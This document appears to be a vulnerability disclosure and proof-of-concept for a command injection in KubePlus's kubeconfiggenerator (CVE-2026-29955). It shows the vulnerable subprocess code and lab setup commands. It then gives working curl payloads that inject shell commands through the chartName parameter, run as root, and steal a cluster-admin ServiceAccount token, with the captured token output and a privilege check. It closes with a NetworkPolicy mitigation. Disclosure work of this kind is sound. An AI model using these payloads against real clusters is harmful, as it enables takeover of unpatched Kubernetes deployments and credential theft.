
Proof-of-concept for CVE-2026-29955, a command injection vulnerability in KubePlus kubeconfiggenerator allowing remote code execution and ServiceAccount token theft in Kubernetes clusters.
This vulnerability exists in the kubeconfiggenerator component of KubePlus, allowing attackers with HTTP interface access to inject shell commands via the chartName parameter, execute arbitrary code as root within the container, and steal ServiceAccount Tokens with cluster-admin privileges. Recommended CWE classification: CWE-78 (OS Command Injection).
The /registercrd endpoint in KubePlus kubeconfiggenerator component is vulnerable to command injection. The component uses subprocess.Popen() with shell=True parameter to execute shell commands, and the user-supplied chartName parameter is directly concatenated into the command string without any sanitization or validation. An attacker can inject arbitrary shell commands by crafting a malicious chartName parameter value.
When processing CRD registration requests, the kubeconfiggenerator component downloads and extracts Helm Charts. In the download_and_untar_chart() function, the chartName parameter is directly concatenated into shell commands:
File: deploy/kubeconfiggenerator.py:60-69
def run_command(cmd):
print(cmd)
cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
out = cmdOut[0].decode('utf-8')
err = cmdOut[1].decode('utf-8')
return out, err
File: deploy/kubeconfiggenerator.py:554
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)
File: deploy/kubeconfiggenerator.py:562
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)
Due to the shell=True parameter, attackers can use shell command substitution syntax $(command) to inject arbitrary commands.
By sending an HTTP request to the /registercrd endpoint with a malicious chartName parameter, an attacker can execute arbitrary commands within the kubeconfiggenerator container. Since the container runs as root and its ServiceAccount has cluster-admin privileges, the attacker can:
# Create Kind cluster configuration
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
- role: control-plane
EOF
# Create cluster
kind create cluster --config kind-config.yaml
# Verify cluster
kubectl cluster-info
kubectl get nodes
Expected output:
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
NAME STATUS ROLES AGE VERSION
kubeplus-test-control-plane Ready control-plane 1m v1.27.3
# Create working directory
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc
# Download KubePlus plugins
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz
# Download provider-kubeconfig script
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py
# Setup Python environment
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes
# Get API server address
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
# Create provider kubeconfig
python3 provider-kubeconfig.py -s $apiserver create default
Expected output:
Provider kubeconfig created: kubeplus-saas-provider.json
# Download KubePlus Helm chart
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz
# Install KubePlus
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default
# Wait for pods to be ready
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s
# Verify installation
kubectl get pods -n default -l app=kubeplus
Expected output:
NAME READY STATUS RESTARTS AGE
kubeplus-deployment-57dbf6f8b9-xxxxx 5/5 Running 0 2m
# Get pod name
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')
# Setup port forwarding
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &
# Verify service is accessible
curl -s http://localhost:5005/hello
Expected output:
hello world
Send a request with malicious chartName parameter:
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt
Actual verification output:
uid=0(root) gid=0(root) groups=0(root)
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt
Actual verification output:
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"
Actual verification output:
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
The kubeconfiggenerator container logs show the command injection being executed:
[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)
[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)
This vulnerability allows an attacker to:
*.*)CVSS v3.1 Score: 8.8 (High)
Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
shell=True for command executionNo patched version available yet.
# NetworkPolicy example
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: restrict-kubeconfighelper
namespace: default
spec:
podSelector:
matchLabels:
app: kubeplus
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
trusted: "true"
ports:
- protocol: TCP
port: 5005
@b0b0haha ([email protected]) @lixingquzhi ([email protected])